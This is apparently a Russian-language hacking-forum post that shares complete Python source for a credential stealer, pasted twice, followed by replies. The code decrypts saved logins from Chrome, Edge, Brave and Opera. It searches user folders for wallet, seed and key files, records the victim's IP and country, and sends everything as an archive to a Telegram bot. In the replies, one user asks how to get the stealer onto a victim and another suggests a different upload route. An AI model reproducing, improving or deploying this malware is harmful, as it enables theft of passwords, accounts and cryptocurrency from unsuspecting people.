******* ворует пароли из браузеров: Opera, Yandex, Chrome, Edge, Brave. Так же ворует всякий мусор который поможет что то спиздить и отправляет архивом в тг. import os import sqlite3 import win32crypt import shutil import json import base64 import zipfile import tempfile from Crypto.Cipher import AES import telebot import requests from datetime import datetime import time from threading import Thread # Настройки TOKEN = "Токен" CHAT_ID = "ЧатИд" CRYPTO_KEYWORDS = ['crypto', 'seed', 'btc', 'eth', 'bitcoin', 'pass', 'login', 'crypt', 'wallet', 'private', 'key'] TEXT_EXTENSIONS = ['.txt', '.doc', '.docx', '.pdf', '.json', '.dat'] MAX_FILE_SIZE = 10 * 1024 * 1024 # 10MB bot = telebot.TeleBot(TOKEN) # Улучшенная конфигурация браузеров BROWSERS = { "Chrome": { "login_db": os.path.join(os.environ['LOCALAPPDATA'], 'Google', 'Chrome', 'User Data', 'Default', 'Login Data'), "local_state": os.path.join(os.environ['LOCALAPPDATA'], 'Google', 'Chrome', 'User Data', 'Local State') }, "Edge": { "login_db": os.path.join(os.environ['LOCALAPPDATA'], 'Microsoft', 'Edge', 'User Data', 'Default', 'Login Data'), "local_state": os.path.join(os.environ['LOCALAPPDATA'], 'Microsoft', 'Edge', 'User Data', 'Local State'), "key_path": os.path.join(os.environ['LOCALAPPDATA'], 'Microsoft', 'Edge', 'User Data') # Путь для ключа }, "Brave": { "login_db": os.path.join(os.environ['LOCALAPPDATA'], 'BraveSoftware', 'Brave-Browser', 'User Data', 'Default', 'Login Data'), "local_state": os.path.join(os.environ['LOCALAPPDATA'], 'BraveSoftware', 'Brave-Browser', 'User Data', 'Local State') }, "Opera": { "login_db": os.path.join(os.environ['APPDATA'], 'Opera Software', 'Opera Stable', 'Login Data'), "local_state": os.path.join(os.environ['APPDATA'], 'Opera Software', 'Opera Stable', 'Local State') } } def get_encryption_key(browser_path): try: local_state_path = os.path.join(browser_path, "Local State") if not os.path.exists(local_state_path): print(f"Файл Local State не найден: {local_state_path}") return None with open(local_state_path, "r", encoding="utf-8") as f: local_state = json.load(f) encrypted_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"]) return win32crypt.CryptUnprotectData(encrypted_key[5:], None, None, None, 0)[1] except Exception as e: print(f"Ошибка получения ключа из {browser_path}: {e}") return None def decrypt_password(password, key): try: if not password: return None if isinstance(password, bytes): if password.startswith(b'v10') or password.startswith(b'v11'): if not key: print("Требуется ключ для AES-256-GCM") return None iv = password[3:15] payload = password[15:] cipher = AES.new(key, AES.MODE_GCM, iv) return cipher.decrypt(payload)[:-16].decode() # Для Edge иногда требуется дополнительная обработка try: return win32crypt.CryptUnprotectData(password, None, None, None, 0)[1].decode('utf-8') except: try: return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1]) except Exception as e: print(f"Ошибка декриптации пароля: {e}") return None except Exception as e: print(f"Общая ошибка декриптации: {e}") return None def get_browser_data(): browser_data = [] for browser_name, paths in BROWSERS.items(): try: # Проверяем существование файлов if not os.path.exists(paths["login_db"]): print(f"{browser_name}: файл Login Data не найден по пути {paths['login_db']}") continue if not os.path.exists(paths["local_state"]): print(f"{browser_name}: файл Local State не найден по пути {paths['local_state']}") continue # Создаем временную копию базы данных temp_db = os.path.join(tempfile.gettempdir(), f"{browser_name}_temp.db") for attempt in range(3): try: shutil.copy2(paths["login_db"], temp_db) break except Exception as e: print(f"Попытка {attempt + 1}/3 копирования {browser_name}: {e}") time.sleep(1) else: print(f"Не удалось скопировать файл {browser_name}") continue # Получаем ключ шифрования key_path = paths.get("key_path", os.path.dirname(paths["local_state"])) key = get_encryption_key(key_path) if browser_name == "Edge" and not key: print("Пробуем альтернативный метод для Edge...") key = get_encryption_key(os.path.dirname(paths["local_state"])) conn = None try: # Подключаемся к базе с режимом только для чтения conn = sqlite3.connect(f"file:{temp_db}?mode=ro", uri=True) cursor = conn.cursor() # Пробуем разные варианты запросов для совместимости try: cursor.execute("SELECT origin_url, username_value, password_value FROM logins") except sqlite3.Error: cursor.execute("SELECT action_url, username_value, password_value FROM logins") for url, username, password in cursor.fetchall(): if not password or not username: continue decrypted = decrypt_password(password, key) if decrypted: browser_data.append({ 'browser': browser_name, 'url': url, 'username': username, 'password': decrypted }) except sqlite3.Error as e: print(f"Ошибка SQLite в {browser_name}: {e}") finally: if conn: conn.close() if os.path.exists(temp_db): try: os.remove(temp_db) except: pass except Exception as e: print(f"Критическая ошибка при обработке {browser_name}: {e}") return browser_data def find_crypto_files(): found_files = [] scan_folders = [ os.path.join(os.environ['USERPROFILE'], 'Documents'), os.path.join(os.environ['USERPROFILE'], 'Downloads'), os.path.join(os.environ['USERPROFILE'], 'Desktop'), os.path.join(os.environ['USERPROFILE'], 'AppData') ] for folder in scan_folders: if not os.path.exists(folder): continue for root, _, files in os.walk(folder): for file in files: try: file_lower = file.lower() ext = os.path.splitext(file)[1].lower() file_path = os.path.join(root, file) if (any(keyword in file_lower for keyword in CRYPTO_KEYWORDS) or ext in TEXT_EXTENSIONS) and os.path.getsize(file_path) < MAX_FILE_SIZE: found_files.append(file_path) except: continue return found_files def get_system_info(): try: ip = requests.get('https://api.ipify.org', timeout=10).text country = requests.get(f'http://ip-api.com/json/{ip}?fields=country', timeout=10).json().get('country', 'Unknown') username = os.getlogin() return f" Система\nДата: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\nПользователь: {username}\nIP: {ip}\nСтрана: {country}" except Exception as e: return f" Ошибка получения системной информации: {str(e)}" def optimize_archive(original_path): """Оптимизирует архив для уменьшения размера""" try: optimized_path = os.path.join(tempfile.gettempdir(), 'optimized_crypto_data.zip') with zipfile.ZipFile(optimized_path, 'w', zipfile.ZIP_DEFLATED, compresslevel=9) as new_zip: with zipfile.ZipFile(original_path, 'r') as original_zip: for file in original_zip.namelist(): if not file.endswith('/'): # Пропускаем директории with original_zip.open(file) as src_file: new_zip.writestr(file, src_file.read(), compress_type=zipfile.ZIP_DEFLATED, compresslevel=9) if os.path.getsize(optimized_path) < os.path.getsize(original_path): return optimized_path return None except Exception as e: print(f"Ошибка оптимизации архива: {e}") return None def create_archive(browser_data, files): temp_dir = tempfile.mkdtemp() zip_path = os.path.join(tempfile.gettempdir(), 'crypto_data.zip') try: # Создаем отчет report_path = os.path.join(temp_dir, 'report.txt') with open(report_path, 'w', encoding='utf-8') as f: f.write(get_system_info() + "\n\n") f.write("=== Данные браузеров ===\n") for item in browser_data: f.write(f"\nБраузер: {item['browser']}\n") f.write(f"Сайт: {item['url']}\n") f.write(f"Логин: {item['username']}\n") f.write(f"Пароль: {item['password']}\n") f.write("-"*40 + "\n") if files: f.write("\n=== Найденные файлы ===\n") for file in files: f.write(f"\n{file}\n") # Копируем файлы в архив if files: files_dir = os.path.join(temp_dir, 'files') os.makedirs(files_dir, exist_ok=True) for file in files: try: shutil.copy2(file, os.path.join(files_dir, os.path.basename(file))) except Exception as e: print(f"Ошибка копирования файла {file}: {e}") # Создаем ZIP архив with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED, compresslevel=6) as zipf: for root, _, files in os.walk(temp_dir): for file in files: file_path = os.path.join(root, file) arcname = os.path.relpath(file_path, temp_dir) zipf.write(file_path, arcname) return zip_path except Exception as e: print(f"Ошибка создания архива: {e}") return None finally: shutil.rmtree(temp_dir, ignore_errors=True) def send_large_data(browser_data, crypto_files): """Отправляет данные частями если архив слишком большой""" # Отправляем данные браузеров report = "=== Данные браузеров ===\n" for i, item in enumerate(browser_data, 1): report += f"\n{i}. Браузер: {item['browser']}\nСайт: {item['url']}\nЛогин: {item['username']}\nПароль: {item['password']}\n" if len(report) > 3000: # Отправляем часть данных send_to_telegram(report) report = "" time.sleep(1) if report.strip(): send_to_telegram(report) # Отправляем список файлов if crypto_files: files_report = "\n=== Найденные файлы ===\n" for i, file in enumerate(crypto_files, 1): files_report += f"\n{i}. {file}" if len(files_report) > 3000: send_to_telegram(files_report) files_report = "" time.sleep(1) if files_report.strip(): send_to_telegram(files_report) def send_to_telegram(message, file_path=None, max_retries=3): for attempt in range(max_retries): try: if file_path and os.path.exists(file_path): file_size = os.path.getsize(file_path) / (1024 * 1024) # в MB if file_size > 45: # Если файл слишком большой optimized_path = optimize_archive(file_path) if optimized_path: file_path = optimized_path with open(file_path, 'rb') as f: bot.send_chat_action(CHAT_ID, 'upload_document') bot.send_document( CHAT_ID, f, caption=message[:1000], timeout=60 # Увеличиваем таймаут ) os.remove(file_path) break else: if len(message) > 4000: for i in range(0, len(message), 4000): bot.send_message( CHAT_ID, message[i:i+4000], disable_web_page_preview=True ) time.sleep(1) # Задержка между сообщениями else: bot.send_message(CHAT_ID, message) break except Exception as e: print(f"Попытка {attempt + 1}/{max_retries} не удалась: {str(e)}") if attempt == max_retries - 1: print(f"Не удалось отправить данные после {max_retries} попыток") time.sleep(5) # Задержка перед повторной попыткой def main(): # Получаем системную информацию system_info = get_system_info() print(system_info) send_to_telegram(system_info) # Получаем данные из браузеров print("Сбор данных браузеров...") browser_data = get_browser_data() if not browser_data: send_to_telegram(" Не удалось получить данные из браузеров") else: send_to_telegram(f" Получено {len(browser_data)} записей из браузеров") # Ищем крипто-файлы print("Поиск файлов...") crypto_files = find_crypto_files() if crypto_files: send_to_telegram(f" Найдено {len(crypto_files)} подозрительных файлов") # Создаем архив print("Создание архива...") archive_path = create_archive(browser_data, crypto_files) # Отправляем данные print("Отправка данных...") if archive_path: archive_size = os.path.getsize(archive_path) / (1024 * 1024) # в MB if archive_size > 45: # Если архив слишком большой send_to_telegram(" Архив слишком большой, отправляю данные частями") send_large_data(browser_data, crypto_files) else: send_to_telegram(" Отправляю архив с данными...", archive_path) else: send_to_telegram(" Не удалось создать архив, отправляю данные текстом") send_large_data(browser_data, crypto_files) print("Готово!") if __name__ == "__main__": main() Python import os import sqlite3 import win32crypt import shutil import json import base64 import zipfile import tempfile from Crypto.Cipher import AES import telebot import requests from datetime import datetime import time from threading import Thread # Настройки TOKEN = "Токен" CHAT_ID = "ЧатИд" CRYPTO_KEYWORDS = ['crypto', 'seed', 'btc', 'eth', 'bitcoin', 'pass', 'login', 'crypt', 'wallet', 'private', 'key'] TEXT_EXTENSIONS = ['.txt', '.doc', '.docx', '.pdf', '.json', '.dat'] MAX_FILE_SIZE = 10 * 1024 * 1024 # 10MB bot = telebot.TeleBot(TOKEN) # Улучшенная конфигурация браузеров BROWSERS = { "Chrome": { "login_db": os.path.join(os.environ['LOCALAPPDATA'], 'Google', 'Chrome', 'User Data', 'Default', 'Login Data'), "local_state": os.path.join(os.environ['LOCALAPPDATA'], 'Google', 'Chrome', 'User Data', 'Local State') }, "Edge": { "login_db": os.path.join(os.environ['LOCALAPPDATA'], 'Microsoft', 'Edge', 'User Data', 'Default', 'Login Data'), "local_state": os.path.join(os.environ['LOCALAPPDATA'], 'Microsoft', 'Edge', 'User Data', 'Local State'), "key_path": os.path.join(os.environ['LOCALAPPDATA'], 'Microsoft', 'Edge', 'User Data') # Путь для ключа }, "Brave": { "login_db": os.path.join(os.environ['LOCALAPPDATA'], 'BraveSoftware', 'Brave-Browser', 'User Data', 'Default', 'Login Data'), "local_state": os.path.join(os.environ['LOCALAPPDATA'], 'BraveSoftware', 'Brave-Browser', 'User Data', 'Local State') }, "Opera": { "login_db": os.path.join(os.environ['APPDATA'], 'Opera Software', 'Opera Stable', 'Login Data'), "local_state": os.path.join(os.environ['APPDATA'], 'Opera Software', 'Opera Stable', 'Local State') } } def get_encryption_key(browser_path): try: local_state_path = os.path.join(browser_path, "Local State") if not os.path.exists(local_state_path): print(f"Файл Local State не найден: {local_state_path}") return None with open(local_state_path, "r", encoding="utf-8") as f: local_state = json.load(f) encrypted_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"]) return win32crypt.CryptUnprotectData(encrypted_key[5:], None, None, None, 0)[1] except Exception as e: print(f"Ошибка получения ключа из {browser_path}: {e}") return None def decrypt_password(password, key): try: if not password: return None if isinstance(password, bytes): if password.startswith(b'v10') or password.startswith(b'v11'): if not key: print("Требуется ключ для AES-256-GCM") return None iv = password[3:15] payload = password[15:] cipher = AES.new(key, AES.MODE_GCM, iv) return cipher.decrypt(payload)[:-16].decode() # Для Edge иногда требуется дополнительная обработка try: return win32crypt.CryptUnprotectData(password, None, None, None, 0)[1].decode('utf-8') except: try: return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1]) except Exception as e: print(f"Ошибка декриптации пароля: {e}") return None except Exception as e: print(f"Общая ошибка декриптации: {e}") return None def get_browser_data(): browser_data = [] for browser_name, paths in BROWSERS.items(): try: # Проверяем существование файлов if not os.path.exists(paths["login_db"]): print(f"{browser_name}: файл Login Data не найден по пути {paths['login_db']}") continue if not os.path.exists(paths["local_state"]): print(f"{browser_name}: файл Local State не найден по пути {paths['local_state']}") continue # Создаем временную копию базы данных temp_db = os.path.join(tempfile.gettempdir(), f"{browser_name}_temp.db") for attempt in range(3): try: shutil.copy2(paths["login_db"], temp_db) break except Exception as e: print(f"Попытка {attempt + 1}/3 копирования {browser_name}: {e}") time.sleep(1) else: print(f"Не удалось скопировать файл {browser_name}") continue # Получаем ключ шифрования key_path = paths.get("key_path", os.path.dirname(paths["local_state"])) key = get_encryption_key(key_path) if browser_name == "Edge" and not key: print("Пробуем альтернативный метод для Edge...") key = get_encryption_key(os.path.dirname(paths["local_state"])) conn = None try: # Подключаемся к базе с режимом только для чтения conn = sqlite3.connect(f"file:{temp_db}?mode=ro", uri=True) cursor = conn.cursor() # Пробуем разные варианты запросов для совместимости try: cursor.execute("SELECT origin_url, username_value, password_value FROM logins") except sqlite3.Error: cursor.execute("SELECT action_url, username_value, password_value FROM logins") for url, username, password in cursor.fetchall(): if not password or not username: continue decrypted = decrypt_password(password, key) if decrypted: browser_data.append({ 'browser': browser_name, 'url': url, 'username': username, 'password': decrypted }) except sqlite3.Error as e: print(f"Ошибка SQLite в {browser_name}: {e}") finally: if conn: conn.close() if os.path.exists(temp_db): try: os.remove(temp_db) except: pass except Exception as e: print(f"Критическая ошибка при обработке {browser_name}: {e}") return browser_data def find_crypto_files(): found_files = [] scan_folders = [ os.path.join(os.environ['USERPROFILE'], 'Documents'), os.path.join(os.environ['USERPROFILE'], 'Downloads'), os.path.join(os.environ['USERPROFILE'], 'Desktop'), os.path.join(os.environ['USERPROFILE'], 'AppData') ] for folder in scan_folders: if not os.path.exists(folder): continue for root, _, files in os.walk(folder): for file in files: try: file_lower = file.lower() ext = os.path.splitext(file)[1].lower() file_path = os.path.join(root, file) if (any(keyword in file_lower for keyword in CRYPTO_KEYWORDS) or ext in TEXT_EXTENSIONS) and os.path.getsize(file_path) < MAX_FILE_SIZE: found_files.append(file_path) except: continue return found_files def get_system_info(): try: ip = requests.get('https://api.ipify.org', timeout=10).text country = requests.get(f'http://ip-api.com/json/{ip}?fields=country', timeout=10).json().get('country', 'Unknown') username = os.getlogin() return f" Система\nДата: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\nПользователь: {username}\nIP: {ip}\nСтрана: {country}" except Exception as e: return f" Ошибка получения системной информации: {str(e)}" def optimize_archive(original_path): """Оптимизирует архив для уменьшения размера""" try: optimized_path = os.path.join(tempfile.gettempdir(), 'optimized_crypto_data.zip') with zipfile.ZipFile(optimized_path, 'w', zipfile.ZIP_DEFLATED, compresslevel=9) as new_zip: with zipfile.ZipFile(original_path, 'r') as original_zip: for file in original_zip.namelist(): if not file.endswith('/'): # Пропускаем директории with original_zip.open(file) as src_file: new_zip.writestr(file, src_file.read(), compress_type=zipfile.ZIP_DEFLATED, compresslevel=9) if os.path.getsize(optimized_path) < os.path.getsize(original_path): return optimized_path return None except Exception as e: print(f"Ошибка оптимизации архива: {e}") return None def create_archive(browser_data, files): temp_dir = tempfile.mkdtemp() zip_path = os.path.join(tempfile.gettempdir(), 'crypto_data.zip') try: # Создаем отчет report_path = os.path.join(temp_dir, 'report.txt') with open(report_path, 'w', encoding='utf-8') as f: f.write(get_system_info() + "\n\n") f.write("=== Данные браузеров ===\n") for item in browser_data: f.write(f"\nБраузер: {item['browser']}\n") f.write(f"Сайт: {item['url']}\n") f.write(f"Логин: {item['username']}\n") f.write(f"Пароль: {item['password']}\n") f.write("-"*40 + "\n") if files: f.write("\n=== Найденные файлы ===\n") for file in files: f.write(f"\n{file}\n") # Копируем файлы в архив if files: files_dir = os.path.join(temp_dir, 'files') os.makedirs(files_dir, exist_ok=True) for file in files: try: shutil.copy2(file, os.path.join(files_dir, os.path.basename(file))) except Exception as e: print(f"Ошибка копирования файла {file}: {e}") # Создаем ZIP архив with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED, compresslevel=6) as zipf: for root, _, files in os.walk(temp_dir): for file in files: file_path = os.path.join(root, file) arcname = os.path.relpath(file_path, temp_dir) zipf.write(file_path, arcname) return zip_path except Exception as e: print(f"Ошибка создания архива: {e}") return None finally: shutil.rmtree(temp_dir, ignore_errors=True) def send_large_data(browser_data, crypto_files): """Отправляет данные частями если архив слишком большой""" # Отправляем данные браузеров report = "=== Данные браузеров ===\n" for i, item in enumerate(browser_data, 1): report += f"\n{i}. Браузер: {item['browser']}\nСайт: {item['url']}\nЛогин: {item['username']}\nПароль: {item['password']}\n" if len(report) > 3000: # Отправляем часть данных send_to_telegram(report) report = "" time.sleep(1) if report.strip(): send_to_telegram(report) # Отправляем список файлов if crypto_files: files_report = "\n=== Найденные файлы ===\n" for i, file in enumerate(crypto_files, 1): files_report += f"\n{i}. {file}" if len(files_report) > 3000: send_to_telegram(files_report) files_report = "" time.sleep(1) if files_report.strip(): send_to_telegram(files_report) def send_to_telegram(message, file_path=None, max_retries=3): for attempt in range(max_retries): try: if file_path and os.path.exists(file_path): file_size = os.path.getsize(file_path) / (1024 * 1024) # в MB if file_size > 45: # Если файл слишком большой optimized_path = optimize_archive(file_path) if optimized_path: file_path = optimized_path with open(file_path, 'rb') as f: bot.send_chat_action(CHAT_ID, 'upload_document') bot.send_document( CHAT_ID, f, caption=message[:1000], timeout=60 # Увеличиваем таймаут ) os.remove(file_path) break else: if len(message) > 4000: for i in range(0, len(message), 4000): bot.send_message( CHAT_ID, message[i:i+4000], disable_web_page_preview=True ) time.sleep(1) # Задержка между сообщениями else: bot.send_message(CHAT_ID, message) break except Exception as e: print(f"Попытка {attempt + 1}/{max_retries} не удалась: {str(e)}") if attempt == max_retries - 1: print(f"Не удалось отправить данные после {max_retries} попыток") time.sleep(5) # Задержка перед повторной попыткой def main(): # Получаем системную информацию system_info = get_system_info() print(system_info) send_to_telegram(system_info) # Получаем данные из браузеров print("Сбор данных браузеров...") browser_data = get_browser_data() if not browser_data: send_to_telegram(" Не удалось получить данные из браузеров") else: send_to_telegram(f" Получено {len(browser_data)} записей из браузеров") # Ищем крипто-файлы print("Поиск файлов...") crypto_files = find_crypto_files() if crypto_files: send_to_telegram(f" Найдено {len(crypto_files)} подозрительных файлов") # Создаем архив print("Создание архива...") archive_path = create_archive(browser_data, crypto_files) # Отправляем данные print("Отправка данных...") if archive_path: archive_size = os.path.getsize(archive_path) / (1024 * 1024) # в MB if archive_size > 45: # Если архив слишком большой send_to_telegram(" Архив слишком большой, отправляю данные частями") send_large_data(browser_data, crypto_files) else: send_to_telegram(" Отправляю архив с данными...", archive_path) else: send_to_telegram(" Не удалось создать архив, отправляю данные текстом") send_large_data(browser_data, crypto_files) print("Готово!") if __name__ == "__main__": main()
Ну нихуя себе --- Сообщение объединено с предыдущим 26 июл 2025 в 20:34 Я новокек,как стилак то всунуть человеку?
смысла нет в тг отправлять, у тг слишком маленький вес архива можно оотправить, надо куда то грузить и потом пересылать